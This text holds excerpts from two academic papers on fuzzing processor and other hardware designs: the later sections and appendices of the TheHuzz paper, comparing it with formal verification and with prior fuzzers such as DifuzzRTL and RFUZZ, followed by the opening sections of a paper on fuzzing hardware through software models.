is greater than DifuzzRTL (6.9%) since TheHuzz requires
accessing multiple files to collect all the coverage, whereas
DifuzzRTL only needs to collect control-register coverage.

6.5 Comparison with Formal Verification

We also compared our fuzzer with another standard approach
used by the semiconductor industry—formal verification. For
this purpose, we used the industry-leading formal verifica-
tion tool, Cadence JasperGold [10]. However, there are two
challenges in performing this comparison. First, there is no
industry-standard formal tool that can produce a set of instruc-
tions that can trigger a hardware bug in RTL, even if the bug
is known apriori. Second, these industry tools require one to
write assertions targeting each vulnerability manually. Thus,
the usage of formal tools in this scenario requires one to know
of these vulnerabilities apriori—unlike TheHuzz, which does
not make any such assumptions.

To manually write these assertions, one has to know the
entire design, identify the signals and specific conditions that
trigger the security vulnerability. This step is highly cumber-
some given the vast number of modules, signals, and states in
processors, as shown in Table 2. Many bugs are cross-modular,
and hence, they require one to load multiple modules, which
only makes writing assertions difficult as they now need to
consider signals across modules and their interactions. These
tools only produce Boolean assignments to the inputs of these
modules and not a set of instructions that violate these asser-
tions. As shown Table 2, the number of inputs range in few
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Table 2: Hardware complexity encountered while using industry-standard JasperGold [10] to detect the bugs.

Processor Ariane mor1kx or1200 Rocket Core

Statistics
Bug B1 B2 B3 B4 B5 B6 B7 B8 B9 B10 B11

No. of modules 1 9 1 655 1 4 4 6 1 1 1
No. of inputs 518 627 518 3 298 752 752 703 123 123 284
No. of states 2.51e+58 2.16e+68 2.16e+68 2.01e+59 4.72e+10 1.55e+11 1.55e+11 3.83e+11 1.29e+10 1.29e+10 2.23e+20

hundreds, thereby increasing the number of states that need
to be checked, leading to state-space explosion. Some bugs
like B4 require one to load the entire system-on-chip into the
formal tool, which is not always feasible due to state-space
explosion. Thus, in contrast to TheHuzz, existing formal tools
are resource intense, error-prone, and not scalable to complex
bugs and larger designs, apart from relying heavily on human
expertise and prior knowledge of hardware vulnerabilities.

7 Related Work

We now describe the limitations of the existing attempts to
fuzz hardware and how TheHuzz is different from them, as
summarized in Table 3.
RFUZZ is a mux-coverage-guided fuzzer for hardware de-
signs [39]. Although this technique can fuzz designs on FP-
GAs, it is computationally intensive and does not scale to
large designs [30]. Additionally, its coverage metric does not
capture many hardware behaviors (cf. Appendix B). It is also
ineffective in finding any bugs.
HyperFuzzing proposes a new grammar to represent the se-
curity specification rules for hardware, converts the hardware
design into equivalent software models, and fuzzes them using
AFL fuzzer [51]. It is inapplicable to general hardware de-
signs like finite state machines (FSMs) or combinational logic
and requires a lot of human intervention, including writing
security specifications manually. It did not report any bugs.
Fuzzing hardware like software translates the hardware
design to software models and fuzzes them using a software
fuzzer [79]. While this is a promising approach, it is limited by
the strength of existing open-source tools (i.e., Verilator [70]):
they currently do not support many constructs of HDLs such
as latches, floating wires, etc. It did not report any bugs. The
largest benchmark used by this technique has 4,585 lines of
code (LOC). It also does not scale to real-world designs like
processors. For instance, while fuzzing Google’s OpenTitan
SoC [21], this work could only fuzz the peripheral modules
but not the iBex processor in it.
DifuzzRTL, a recent work, uses a custom-developed control-
register coverage as feedback for the fuzzer by instrumenting
the HDL [30]. The technique only focuses on the coverage
of registers generating the select signals of MUXes and does
not check for toggle, expression, and FSM coverage points,
thereby missing the bugs in 3 , 4 , and floating wires in
5 in Figure 2 (cf. Appendix B for more details). None of

the bugs found by this fuzzer are shown to be exploitable, as
most bugs are triggered by physically controlling the interrupt
signals with precise timing; such interrupt signals are not
usually exposed to unprivileged software [56]. The fuzzer is
also slower in detecting the bugs as it compares the processor
state after the entire program is executed, while our fuzzer
performs comparison after each instruction is executed.

In contrast, TheHuzz: (i) is compatible with traditional
IC design verification flow allowing for seamless integra-
tion by using coverage metrics already widely used in the
semiconductor industry; (ii) is scalable to large, complicated,
industrial-designs with several tens of thousands of code, and
not just small FSM designs; (iii) captures many intrinsic hard-
ware behaviors, such as signal transitions and floating wires,
using multiple coverage metrics: statement, toggle, branch,
expression, condition, and FSM; (iv) does not require the de-
signer to specify security rules; and (v) detects several bugs
that lead to severe security exploits. Instead, we compare how
the software views the hardware (i.e., ISA emulator) and how
the hardware actually behaves (i.e., Verilog), leading to an
effective hardware fuzzer.

8 Discussion and Limitations

Requirement of Golden Reference Models (GRMs). The-
Huzz and other hardware fuzzers [30, 51] depend on GRMs
to find vulnerabilities. Such GRMs are widely available in
the semiconductor industry. Verification of many commer-
cial (proprietary and open-source) CPUs critically depend on
the availability of GRMs, including many industrial, large-
scale designs, e.g. Intel x86 Archsim [33], AMD x86 Simnow
[1], ARM Cortex Neoverse [3], and ARM Fast Models [4].
Thus, the reliance on GRM is not a limiting factor for The-
Huzz. Sometimes, the GRM itself can be buggy, thereby
causing false positives. This situation is highly unlikely be-
cause GRMs are carefully curated and versioned with legacy
code, and rigorously tested. Verifying a GRM is easier as it is
written at a higher abstraction level and is thus less complex
than a RTL model.
Requirement of Register-Transfer Level (RTL) source
code. TheHuzz depends on RTL access, similar to previous
works such as DifuzzRTL [30], RFUZZ [39], and Hyper-
fuzzing [51]. As mentioned in Section 2.2, verification teams
already have access to RTL. An attacker can also buy RTL
models of the target design, as many companies like Imagi-
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Table 3: Comparison with the prior work on hardware fuzzers.

Methodology Fuzzer used HDL Simulator Target
design

Design
knowledge

Largest
design

(Lines of code)
Metrics used

Comparison
against random

regression testing

Bugs
reported

Exploitable
from

software

Exploits
presented

RFUZZ
[39] H/W fuzzer FIRRTL Any

RTL
designs Not required

5-stage Sodor
core (4,088) mux-coverage ∼5% increase in

mux coverage 0 N/A 0

Hyperfuzzing
[51]

S/W AFL
fuzzer Any Verilator

SoC
designs

Need
security rules

SHA crypto
engine (1,196) None N/A 0 N/A 0

Trippel et al.
[79]

S/W AFL
fuzzer Any Verilator

RTL
designs Not required KMAC (4,585)

FSM , line, edge, toggle,
and functional coverage

Two orders magnitude
faster for datapath FSMs 0 N/A 0

DifuzzRTL
[30] H/W fuzzer Any Any

CPU
designs Not required

Boom
(12,956 in Scala)

Control-register
coverage

∼10% increase in
control-register coverage 16 Not reported 0

TheHuzz H/W fuzzer Any
Commercial,
industry-standard
HDL simulator

CPU
designs Not required Ariane (20,698)

statement, toggle, branch,
expression, condition,
and FSM coverage

2.86% increase
in coverage metrics 10 Yes 2*

*In theory, the bugs discovered can be used to build more than two exploits, but we show only two due to page limitations.

nation Tech. Limited [32], Cadence [9], and Synopsys [73]
sell proprietary hardware designs, and run TheHuzz on them
as these designs are compatible with industry-standard tools.
While companies like Intel and ARM do not reveal the RTL
model of their processors, attackers can use reverse engineer-
ing services from companies like TechInsights [77] on the
target chip and use gate-level to RTL reverse engineering
techniques [72] to obtain the RTL model.
FPGA emulations. DifuzzRTL and RFUZZ can fuzz pro-
cessors faster through FPGA emulation than RTL simula-
tions [30, 39]. TheHuzz uses the coverage metrics imple-
mented by EDA simulation tools like Modelsim [68] and
Synopsys VCS [74]. These coverage metrics are not readily
available for FPGA emulations, thereby limiting TheHuzz’s
applicability to fuzz FPGA-emulated designs.
Fuzzing non-processor designs. Currently, TheHuzz, similar
to DifuzzRTL [30], is limited to fuzzing processor designs
since it generates processor specific inputs. These fuzzers
cannot fuzz standalone hardware components like SoC pe-
ripherals, memory modules, and other hardware accelerators,
which are targeted by RFUZZ and Tripple et al. [79]. The-
Huzz could be extended to fuzz non-processor designs by
fuzzing the individual input signals of the design. The seeds
would be assignments to individual input signal values rather
than instructions. The coverage metrics and the bug detection
mechanism used by TheHuzz will still be applicable.
Fuzzing parametric properties of hardware. TheHuzz cur-
rently fuzzes only processors for functional behavior but not
for parametric behavior (e.g., cache timing behavior) and
thereby cannot detect side-channel vulnerabilities. One can
extend TheHuzz to cover such vulnerabilities by developing
timing-related coverage properties and targeting them.

9 Conclusion

Bugs in hardware are increasingly exposed and exploited.
Current techniques fall short of detecting bugs, as our results
demonstrated by finding bugs in a 20-year old processor and
others. This calls for a revamp of security evaluation method-
ologies for hardware designs.

We presented an instruction fuzzer, TheHuzz, for processor-
based hardware designs. The effectiveness of TheHuzz is
shown by fuzzing three popular open-sourced processor de-
signs. TheHuzz has detected eight new bugs in the three de-
signs tested and three previously detected bugs. These bugs,
when used individually or in tandem, resulted in ROP and
privilege escalation exploits that could compromise both hard-
ware and software, as shown in the two exploits we presented.
Our fuzzer achieved 1.98× and 3.33× the speed compared
to the industry-standard random regression approach and the
state-of-the-art hardware fuzzer, DifuzzRTL, respectively. Fi-
nally, compared to the industry-standard formal verification
tool, JasperGold, TheHuzz does not need human intervention
and overcomes its other limitations.
Responsible disclosure. The bugs have been responsibly
disclosed through the legal department of our institution(s).
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Appendix

A Mutation Techniques

We use 12 distinct mutation techniques inspired by the popular
binary manipulation fuzzer, AFL [90], as indicated in Table 4
and also detailed in the arXiv version [80].

Table 4: Mutation techniques used by TheHuzz.
# Name Description
M0 Bitflip 1/1 Flip single bit
M1 Bitflip 2/1 Flip two adjacent bits
M2 Bitflip 4/1 Flip four adjacent bits
M3 Bitflip 8/8 Flip single byte
M4 Bitflip 16/8 Flip two adjacent bytes
M5 Arith 8/8 Treat single byte as 8-bit integer, +/- value from 0 to 35
M6 Arith 16/8 Treat 2 adjacent bytes as 16-bit integer, +/- value from 0 to 35
M7 Arith 32/8 Treat 4 adjacent bytes as 32-bit integer, +/- value from 0 to 35
M8 Random 8 Overwrite random byte with random value
M9 Delete Delete an instruction
M10 Clone Clone an instruction
M11 Opcode Overwrite opcode bits

B Coverage Metrics Of Prior Work

We now demonstrate why the coverage metrics of DifuzzRTL
and RFUZZ cannot cover the bugs in Figure 2.

B.1 DifuzzRTL’s coverage metric: control-
register coverage

The control-register coverage metric of DifuzzRTL defines
all the registers that drive the select signals of the MUXes as
control registers. These registers in each module are concate-
nated into a single module_state register; all possible values
of these module_state registers are defined as coverage points.

When applied to the example in Figure 2, DifuzzRTL
should concatenate all the registers that drive the select signals
of the two MUXes 1 and 3 : flush, en, pass, ipass, and
debug_en. Since there are five 1-bit registers, there are 25 =
32 possible values; DifuzzRTL considers each of them as
coverage points, resulting in 32 coverage points. We now
discuss in detail why the control-register coverage metric
does not cover the two bugs in Figure 2.
Limitation 1. DifuzzRTL detects only certain implementa-
tions of MUXes in the RTL code. When a MUX is imple-
mented differently (e.g., as a combination of NOT, AND, or
OR gates), DifuzzRTL fails to detect the MUX and ignores
the corresponding control registers. Therefore, it fails to ac-
count for certain control registers driving the select signals

Listing 3: Verilog code of the hardware design in Figure 2
instrumented by DifuzzRTL.

61 assign _T =flush |en; // @[cmd3.sc 37:30]
62 assign _T_2 =pass ==ipass; // @[cmd3.sc 41:20]
63 assign sel1 = _T_2 |debug_en; // @[cmd3.sc 41:31]
64 assign _T_4 =flush &en; // @[cmd3.sc 46:17]
65 assign state_f = _T_4 ?FLUSH :state; // @[cmd3.sc 46:22]
66 assign _GEN_1 ={{2'd0}, ∼sel1}; // @[cmd3.sc 52:21]
67 assign _T_6 = _GEN_1 &state_f; // @[cmd3.sc 52:21]
68 assign _GEN_2 ={{2'd0}, sel1}; // @[cmd3.sc 52:40]
69 assign _T_7 = _GEN_2 &D_READ; // @[cmd3.sc 52:40]
... ...

78 assign en_shl =en;
79 assign en_pad ={1'h0,en_shl};
80 assign flush_shl ={flush, 1'h0};
81 assign flush_pad =flush_shl;
82 assign cache_controller_xor0 =en_pad \xor flush_pad;
... ...

168 always @(posedge clock) begin
... ...

207 state <= _T_6 | _T_7;
... ...

212 vld <=debug_en | _T;
213 end
214 cache_controller_state <=cache_controller_xor0;

... ...
218 end

of such MUX implementations. Consequently, it does not
produce coverage points for these control registers.

In the controller example in Figure 2, the combina-
tional logic 4 generates the select signal sel1 of MUX
3 . DifuzzRTL cannot detect this MUX because its RTL

code is described using combinational logic (Line 51
of Listing 1: state := ((!sel1 & state_f) | (sel1 &
D_READ))) instead of control flow constructs (like when
block at Lines 45–49 of Listing 1), thereby failing to detect
the bug b1 in 4 .

To demonstrate this limitation, we compiled the Chisel
code (Listing 1) of the controller, generated the correspond-
ing FIRRTL code, and ran DifuzzRTL on it. The instrumented
Verilog code and output of DifuzzRTL instrumentation are
shown in Listing 3 and Listing 4, respectively. It can be seen
from the Lines 28 and 32 of DifuzzRTL’s report (Listing 4)
that DifuzzRTL detected only one MUX and two control
registers; Lines 78–82 of the instrumented Verilog code (List-
ing 3) show that these control registers are flush and en.
The control registers (pass, ipass, debug_en) generating
the signal sel1 of MUX 3 are not included. Consequently,
DifuzzRTL does not have any coverage point in 4 , thereby
failing to detect b1.
Limitation 2. DifuzzRTL focuses only on the control-
registers that drive the select signals of MUXes. Thus, Di-
fuzzRTL will not cover any combinational logic that does
not drive the select signals of the MUXes. In the controller
example in Figure 2, the bug b2 is in the combinational logic
6 . DifuzzRTL cannot detect this bug since it does not cover

the registers, flush and en, generating vld in 6 as these
registers are not generating the select signals of any MUX.

We demonstrate this limitation of DifuzzRTL using the
same instrumented Verilog code (Listing 3) and the output
of DifuzzRTL instrumentation (Listing 4) . DifuzzRTL only
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Listing 4: DifuzzRTL’s output of the hardware design in
Figure 2. MUX2 is undetected.
1 ============Finding Control Registers =========
5 numRegs: 9, numCtrlRegs: 2, numMuxes: 1
8 ============Instrumenting Coverage ============

12 regStateSize: 2, totBitWidth: 2, numRegs: 2
13 numOptRegs: 2
25 ============Instrumentation Summary ===========
26 Total number of registers: 9
27 Total number of control registers: 2
28 Total number of muxes: 1
29 Total number of optimized registers: 2
30 Total bit width of registers: 15
31 Total bit width of control registers: 2
32 Optimized total bit width of control registers: 2
33 Total bit width of muxes: 1

reports the two control registers: flush and en generating
the select signal sel2 of MUX 1 (Lines 78–82 of the instru-
mented Verilog code in Listing 3). However, DifuzzRTL does
not have any coverage points for the signals in the combina-
tional logic 6 , where the bug resides. Combinational logic
constitutes a significant portion of the hardware design, and
thus these bugs cannot be overlooked as rare corner cases.

B.2 RFUZZ’s coverage metric: Mux-coverage
RFUZZ uses a coverage metric called mux-coverage. It treats
the select signal of each 2:1 MUX as a coverage point. When
applied to the controller design in Figure 2, sel1 and sel2
signals are selected as the mux-coverage points. Since both
are 1-bit wide, the total number of mux-coverage points is
21+21 = 4 coverage points. We now discuss in detail why the
mux-coverage metric does not cover the two bugs in Figure 2.
Limitation 1. RFUZZ detects only certain implementations
of MUXes in the RTL code. When a MUX is implemented
differently (e.g., as a combination of NOT, AND, or OR gates),
RFUZZ fails to detect the MUX and ignores the correspond-
ing select signals. Therefore, it fails to account for select
signals of such MUX implementations. Consequently, it does
not produce coverage point for these MUXes.

In the controller example in Figure 2, the combina-
tional logic 4 generates the select signal sel1 of MUX
3 . RFUZZ cannot detect this MUX because its RTL

code is described using combinational logic (Line 51
of Listing 1: state := ((!sel1 & state_f) | (sel1 &
D_READ))) instead of control flow constructs (like when
block at Lines 45–49 of Listing 1), thereby failing to detect
the bug b1 in 4 .

To demonstrate this limitation, we compiled the Chisel
code (Listing 1) of the controller, generated the correspond-
ing FIRRTL code, and ran RFUZZ on it. The instrumented

Listing 5: Verilog code of the hardware design in Figure 2
instrumented by RFUZZ.

37 wire _T =flush |en; // @[cmd3.sc 37:30]
38 wire _T_2 =pass ==ipass; // @[cmd3.sc 41:20]
39 wire sel1 = _T_2 |debug_en; // @[cmd3.sc 41:31]
40 wire [2:0] state_f =profilePin ?FLUSH :state; // @[cmd3.sc

↪→ 46:22]
41 wire _T_5 =∼sel1; // @[cmd3.sc 52:15]
42 wire [2:0] _GEN_1 ={{2'd0}, _T_5}; // @[cmd3.sc 52:21]
43 wire [2:0] _T_6 = _GEN_1 &state_f; // @[cmd3.sc 52:21]
44 wire [2:0] _GEN_2 ={{2'd0}, sel1}; // @[cmd3.sc 52:40]
45 wire [2:0] _T_7 = _GEN_2 &D_READ; // @[cmd3.sc 52:40]
... ...

48 assign auto_cover_out =flush &en;
... ...

109 always @(posedge clock) begin
... ...

148 state <= _T_6 | _T_7;
... ...

153 vld <=debug_en | _T;
154 end
155 end

Listing 6: RFUZZ’s output for the hardware design in Fig-
ure 2. MUX2 is undetected.

51 [[coverage]]
52 port ="auto_cover_out"
... ...

58 human ="(flush and en)"

Verilog code and output of RFUZZ instrumentation are shown
in Listing 5 and Listing 6, respectively. It can be seen from the
Lines 49 and 58 of RFUZZ’s report (Listing 6) that RFUZZ
detected only one select signal of the MUX 1 ; Line 48 of
the instrumented Verilog code (Listing 5) shows the same.
The select signal sel1 of MUX 3 is not included. Conse-
quently, RFUZZ does not have any coverage point in 4 ,
thereby failing to detect b1.

Limitation 2. RFUZZ focuses only on the select signals of
the MUXes. Thus, RFUZZ will not cover any combinational
logic that does not drive the select signals of the MUXes. In
the controller example in Figure 2, the second bug b2 is in the
combinational logic 6 . RFUZZ cannot detect this bug since
it does not cover the registers, flush and en, generating vld
in 6 as these registers are not the select signals of any MUX.

We demonstrate this limitation of RFUZZ using the same
instrumented Verilog code (Listing 5) and the output of
RFUZZ instrumentation (Listing 6) . RFUZZ only reports
the one signal: the select signal sel2 of the MUX 1 (Line
58 of the RFUZZ’s output). However, RFUZZ does not have
any coverage points for the signals in the combinational logic
6 , where the bug resides. Combinational logic constitutes

a significant portion of the hardware design, and thus these
bugs cannot be overlooked as rare corner cases.
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Abstract

Hardware flaws are permanent and potent: hardware cannot be
patched once fabricated, and any flaws may undermine even
formally verified software executing on top. Consequently,
verification time dominates implementation time. The gold
standard in hardware Design Verification (DV) is dynamic
random testing, due to its scalability to large designs. How-
ever, given its undirected nature, this technique is inefficient.

Instead of making incremental improvements to existing
dynamic hardware verification approaches, we leverage the
observation that existing software fuzzers already provide
such a solution, and hence adapt them for hardware verifica-
tion. Specifically, we translate RTL hardware to a software
model and fuzz that model directly. The central challenge we
address is how to mitigate the differences between the hard-
ware and software execution models. This includes: 1) how
to represent test cases, 2) what is the hardware equivalent of a
crash, 3) what is an appropriate coverage metric, and 4) how
to create a general-purpose fuzzing harness for hardware.

To evaluate our approach, we design, implement, and open-
source a Hardware Fuzzing Pipeline that enables fuzzing
hardware at scale, using only open-source tools. Using our
pipeline, we fuzz five IP blocks from Google’s OpenTitan
Root-of-Trust chip, four SiFive TileLink peripherals, three
RISC-V CPUs, and an FFT accelerator. Our experiments
reveal a two orders-of-magnitude reduction in run time to
achieve similar Finite State Machine coverage over traditional
dynamic verification schemes, and 26.70% better HDL line
coverage than prior work. Moreover, with our bus-centric har-
ness, we achieve over 83% HDL line coverage in four of the
five OpenTitan IPs we study—without any initial seeds—and
are able to detect all bugs (four synthetic from Hack@DAC
and one real) implanted across all five OpenTitan IPs we study,
with less than 10 hours of fuzzing.

∗Now at Google (ttrippel@).
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Figure 1: Fuzzing Hardware Like Software. Unlike prior Coverage Di-
rected Test Generation (CDG) techniques [6, 22, 39, 65], we advocate for
fuzzing software models of hardware directly, with a generic harness (test-
bench) and feature-rich software fuzzers. This way, we address the barriers to
realizing widespread adoption of CDG in hardware DV: 1) efficient coverage
tracing, and 2) design-agnostic testing.

1 Introduction

As Moore’s Law [48] and Dennard scaling [19] come to a
crawl, hardware engineers must tailor their designs for specific
applications in search of performance gains [14,25,33,45,51].
As a result, hardware designs become increasingly unique
and complex. For example, the Apple A11 Bionic System-
on-Chip (SoC), released over four years ago in the iPhone 8,
contains over 40 specialized Intellectual Property (IP) blocks,
a number that doubles every four years [62]. Unfortunately,
due to the state-explosion problem, increasing design com-
plexity increases Design Verification (DV) complexity, and
therefore, the probability for design flaws to percolate into
products. Since 1999, 247 total Common Vulnerability Ex-
posures (CVEs) have been reported for Intel products, and of
those, over 77% (or 191) have been reported in the last four
years [18]. While this may come as no surprise, given the
onslaught of speculative execution attacks over the past few
years [11, 37, 42, 75, 76], it highlights the correlation between
hardware complexity and design flaws.

Even worse, hardware flaws are permanent and potent.
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Unlike software, there is no general-purpose patching mecha-
nism for hardware. Repairing hardware is both costly, and rep-
utationally damaging [36]. Moreover, hardware flaws subvert
even formally verified software that sits above [86]. There-
fore, detecting flaws in hardware designs before fabrication
and deployment is vital. Given these incentives, it is no sur-
prise that hardware engineers often spend more time verifying
their designs, than implementing them [21, 83].1 Unfortu-
nately, the multitude of recently-reported hardware vulner-
abilities [11, 37, 42, 47, 75, 76] suggests current efforts are
insufficient.

To address the threat of design flaws in hardware, engineers
deploy two main DV strategies: 1) dynamic and 2) formal.
At one extreme, dynamic verification involves driving con-
crete input sequences into a Design Under Test (DUT) during
simulation, and comparing the DUT’s behavior with a set of
invariants, or golden model. The most popular dynamic veri-
fication technique in practice today is known as Constrained
Random Verification (CRV) [1, 16, 30, 88]. CRV attempts to
decrease the manual effort required to develop simulation test
cases by randomizing input sequences in the hopes of auto-
matically maximizing exploration of the DUT state-space. At
the opposite extreme, formal verification involves proving/dis-
proving properties of a DUT using mathematical reasoning
like (bounded) model checking and/or deductive reasoning.
While (random) dynamic verification is effective at identi-
fying surface flaws in even complex designs, it struggles to
penetrate deep into the design state-space. In contrast, formal
verification is effective at mitigating even deep flaws in small
hardware designs, but fails, in practice, against larger designs.

In search of a hybrid approach to bridge these DV ex-
tremes, researchers have ported software testing techniques
to the hardware domain in hopes of improving hardware test
generation to maximize coverage. In the hardware domain,
these approaches are referred to as Coverage Directed Test
Generation (CDG) [6, 16, 21, 24, 30, 39, 72, 80, 92, 93]. Like
their software counterparts, CDG techniques deploy coverage
metrics—e.g., Hardware Description Language (HDL) line,
Finite State Machine (FSM), functional, etc.—in a feedback
loop to generate tests that further increase state exploration.

While promising, CDG has not seen widespread adoption
in hardware DV. As Laeufer et al. point out [39], this is likely
fueled by several key technical challenges, resulting from
dissimilarities between software and hardware execution
models. First, unlike software, Register Transfer Level (RTL)
hardware is not inherently executable. Hardware designs must
be simulated, after being translated to a software model and
combined with a design-specific testbench and simulation
engine, to form a Hardware Simulation Binary (HSB) (Fig. 2).
This level of indirection, increases both the complexity and
computational effort in tracing test coverage of the hardware.
Second, unlike most software, hardware requires sequences

1It is estimated that up to 70% of hardware development time is spent
verifying design correctness [21].

of structured inputs to drive meaningful state transitions, that
must be tailored to each DUT. For example, while software
often accepts input in the form of a fixed set of file(s) that
contain a loosely-structured set of bytes (e.g., a JPEG or PDF),
hardware often accepts input from an ongoing stream of bus
transactions. Together, these challenges have resulted in CDG
approaches that implement DUT-specific: 1) coverage-tracing
techniques [30, 39], and 2) test generators [6, 65, 92].

To supplement traditional dynamic verification methods,
we propose an alternative CDG technique we call Hardware
Fuzzing. Rather than translating software testing meth-
ods to the hardware domain, we advocate for translating
hardware designs to software models and fuzzing those
translated models directly (Fig. 1). While fuzzing hardware
in the software domain eliminates the need for alternative
coverage-tracing mechanisms required by prior CDG tech-
niques [30, 39, 65], since software can be instrumented at
compile time to trace coverage, it does not inherently solve
the design compatibility issue. Moreover, it creates other chal-
lenges we must address. Specifically, to fuzz hardware like
software, we must adapt software fuzzers to:

1. interface with HSBs that: a) contain other components
besides the DUT, and b) require unique initialization;

2. account for differences between how hardware and soft-
ware process inputs, and its impact on exploration depth;
and

3. design a general-purpose fuzzing harness and a suitable
grammar that ensures meaningful mutation.

To address these challenges, we first propose and evalu-
ate strategies for interfacing software fuzzers with HSBs that
optimize performance and trigger the HSB to crash upon de-
tection of incorrect hardware behavior. Second, we show that
maximizing code coverage of the DUT’s software model, by
construction, maximizes hardware code coverage. Third, we
design an interface to map fuzzer-generated test-cases to hard-
ware input ports. Our interface is built on the observation
that unlike most software, hardware requires piecing together
a sequence of inputs to effect meaningful state transitions.
Lastly, we propose a new interface for fuzzing hardware in
a design-agnostic manner: the bus interface. Moreover, we
design and implement a generic harness, and create a cor-
responding grammar that ensures meaningful mutations to
fuzz bus transactions. Fuzzing at the bus interface solves the
final hurdle to realizing widespread deployability of CDG in
hardware DV, as it enables us to reuse the same testbench
harness to fuzz any RTL hardware that speaks the same bus
protocol, irrespective of the DUT’s design or implementation.

To demonstrate the effectiveness of our approach, we
design, implement, and open-source a Hardware Fuzzing
Pipeline (HWFP), inspired by Google’s OSS-Fuzz [61], ca-
pable of fuzzing RTL hardware at scale (Fig. 5). Using our
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HWFP we: 1) compare Hardware Fuzzing against a conven-
tional CRV technique when verifying over 480 variations
of a sequential FSM circuit, 2) compare Hardware Fuzzing
against RFUZZ [39] when fuzzing four SiFive TileLink pe-
ripherals [63], three RISC-V CPUs [59], and an FFT ac-
celerator [58], and 3) detect five bugs (four synthetic from
Hack@DAC [20], and one real) across five commercial IP
blocks from Google’s OpenTitan silicon Root-of-Trust [44].

To summarize our main results, we demonstrate Hardware
Fuzzing:

• provides two orders-of-magnitude reduction in run time
to achieve similar FSM coverage than current state-of-
the-art CRV schemes (§5.4),

• achieves 24.76% better HDL line coverage (on average)
after 24 hours of fuzzing compared with similar hard-
ware fuzzing approaches, i.e., RFUZZ [39] (§6.1),

• identifies all five RTL bugs (both synthetic and real) in
five OpenTitan IPs; four in less than 10 minutes, the
remaining in less than 10 hours (§6.2).

2 Background

There are two main hardware verification methods: 1) dy-
namic and 2) formal. While there have been significant
advancements in deploying formal methods in DV work-
flows [35, 44, 92], dynamic verification remains the gold
standard due to its scalability towards complex designs [39].
Therefore, we focus on improving dynamic verification by
leveraging advancements in the software fuzzing community.
Below, we provide a brief overview of the current state-of-the-
art in dynamic hardware verification, and software fuzzing.

2.1 Dynamic Verification of Hardware
Dynamic verification of hardware typically involves three
steps: 1) test generation, 2) hardware simulation, and 3)
test evaluation. First, during test generation, a sequence of
inputs are crafted to stimulate the DUT. Next, the DUT’s
behavior—in response to the input sequence—is simulated
during hardware simulation. Lastly, during test evaluation, the
DUT’s simulation behavior is checked for correctness. These
three steps are repeated until all interesting DUT behaviors
have been explored. To determine if all interesting behaviors
have been explored, verification engineers measure coverage
of both: 1) manually defined functional behaviors (functional
coverage) [74] and 2) the HDL implementation of the design
(code coverage) [32, 56, 70].

2.1.1 Test Generation

To maximize efficiency, DV engineers aim to generate as few
test vectors as possible that still close coverage. To achieve
this goal, they deploy two main test generation strategies: 1)
constrained-random and 2) coverage-directed. The former is

HDL à SW

Clang++

DUT

Hardware Simulation Binary (HSB)

HDL

SW

Testbench Simulation 

Engine

main()

Figure 2: Hardware Simulation Binary (HSB). To simulate hardware, the
DUT’s HDL is first translated to a software model, and then compiled/linked
with a testbench (written in HDL or software) and simulation engine to form
a Hardware Simulation Binary (HSB). Executing this binary with a sequence
of test inputs simulates the behavior of the DUT.

typically referred to holistically as Constrained Random Veri-
fication (CRV), and the latter as Coverage Directed Test Gen-
eration (CDG). CRV is a partially automated test generation
technique where manually-defined input sets are randomly
combined into transaction sequences [1,88]. While better than
an entirely manual approach, CRV still requires some degree
of manual tuning to avoid inefficiencies, since the test gen-
erator has no knowledge of test coverage. Regardless, CRV
remains a popular dynamic verification technique today, and
its principles are implemented in two widely deployed (both
commercially and academically) hardware DV frameworks:
1) Accellera’s Universal Verification Methodology (UVM)
framework (SystemVerilog) [1] and 2) the open-source cocotb
(Python) framework [77].

To overcome CRV shortcomings, researchers have pro-
posed CDG [6, 16, 21, 22, 24, 30, 39, 65, 72, 80, 92, 93], or
using test coverage feedback to drive future test generation.
Unlike CRV, CDG does not randomly piece input sequences
together in hopes of exploring new design state. Rather, it mu-
tates prior input sequences that explore uncovered regions of
the design to iteratively expand the coverage boundary. Unfor-
tunately, due to deployability challenges, CDG has not seen
widespread adoption in practice [39]. In this paper, we recog-
nize that existing software fuzzers provide a solution to many
of these deployability challenges, and therefore advocate for
verifying hardware using software verification tools. The cen-
tral challenges in making this possible are adapting software
fuzzers to verify hardware, widening the scope of supported
designs, and increasing the automation of verification.

2.1.2 Hardware Simulation

While there are several commercial [10, 46, 69] and open-
source [64, 85] hardware simulators, most work in the same
general manner, as shown in Fig. 2. First, they translate hard-
ware implementations (described in HDL) into a software
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Figure 3: Hardware Fuzzing. Fuzzing hardware in the software domain involves: translating the hardware DUT to a functionally equivalent software model
(1) using a SystemVerilog compiler [64], compiling and instrumenting a Hardware Simulation Binary (HSB) to trace coverage (2), crafting a set of seed input
files (3) using our design-agnostic grammar (§ 4.1.2), and fuzzing the HSB with a coverage-guided greybox software fuzzer [43, 68, 91] (4–6).

model, usually in C/C++. Next, they compile the software
model and a testbench—either translated from HDL, or imple-
mented in software (C/C++)—and link them with a simulation
engine. Together, all three components form an Hardware
Simulation Binary (HSB) (Fig. 2) that can be executed to sim-
ulate the design. Lastly, the HSB is executed with the inputs
from the testbench to capture the design’s behavior. Ironically,
even though commercial simulators convert the hardware to
software, they still rely on hardware-specific verification
tools, likely because software-oriented tools fail to work on
hardware models—without the lessons in this paper. To
fuzz hardware in the software domain, we take advantage of
the transparency in how an open-source hardware simulator,
Verilator [64], generates an HSB. Namely, we intercept the
software model of the hardware after translation, and instru-
ment/compile it for coverage-guided fuzzing (Fig. 3).

2.1.3 Test Evaluation

After simulating a sequence of test inputs, the state of the
hardware (both internally and its outputs) are evaluated for
correctness. There are two main approaches for verifying de-
sign correctness: 1) invariant checking and 2) (gold) model
checking. In invariant checking, a set of assertions (e.g., Sys-
temVerilog Assertions (SVAs) or software side C/C++ asser-
tions) are used to check properties of the design have not been
violated. In model checking, a separate model of the DUT’s
correct behavior is emulated in software, and compared to
the DUT’s simulated behavior. We support such features and
adopt both invariant violations and golden model mismatches
as an analog for software crashes in our hardware fuzzer.

2.2 Software Fuzzing

Software fuzzing is an automated testing technique designed
to identify security vulnerabilities in software [67]. Thanks
to its success, it has seen widespread adoption in both indus-
try [7] and open-source [61] projects. In principle, fuzzing

typically involves the following three main steps [50]: 1) test
generation, 2) monitoring test execution, and 3) crash triag-
ing. During test generation, program inputs are synthesized
to exercise the target binary. Next, these inputs are fed to the
program under test, and its execution is monitored. Lastly, if
a specific test causes a crash, that test is further analyzed to
find the root cause. This process is repeated until all, or most,
of the target binary has been explored. Below we categorize
fuzzers by how they implement the first two steps.

2.2.1 Test Generation

Most fuzzers generate test cases in one of two ways, using: 1)
a grammar, or 2) mutations. Grammar-based fuzzers [2, 31,
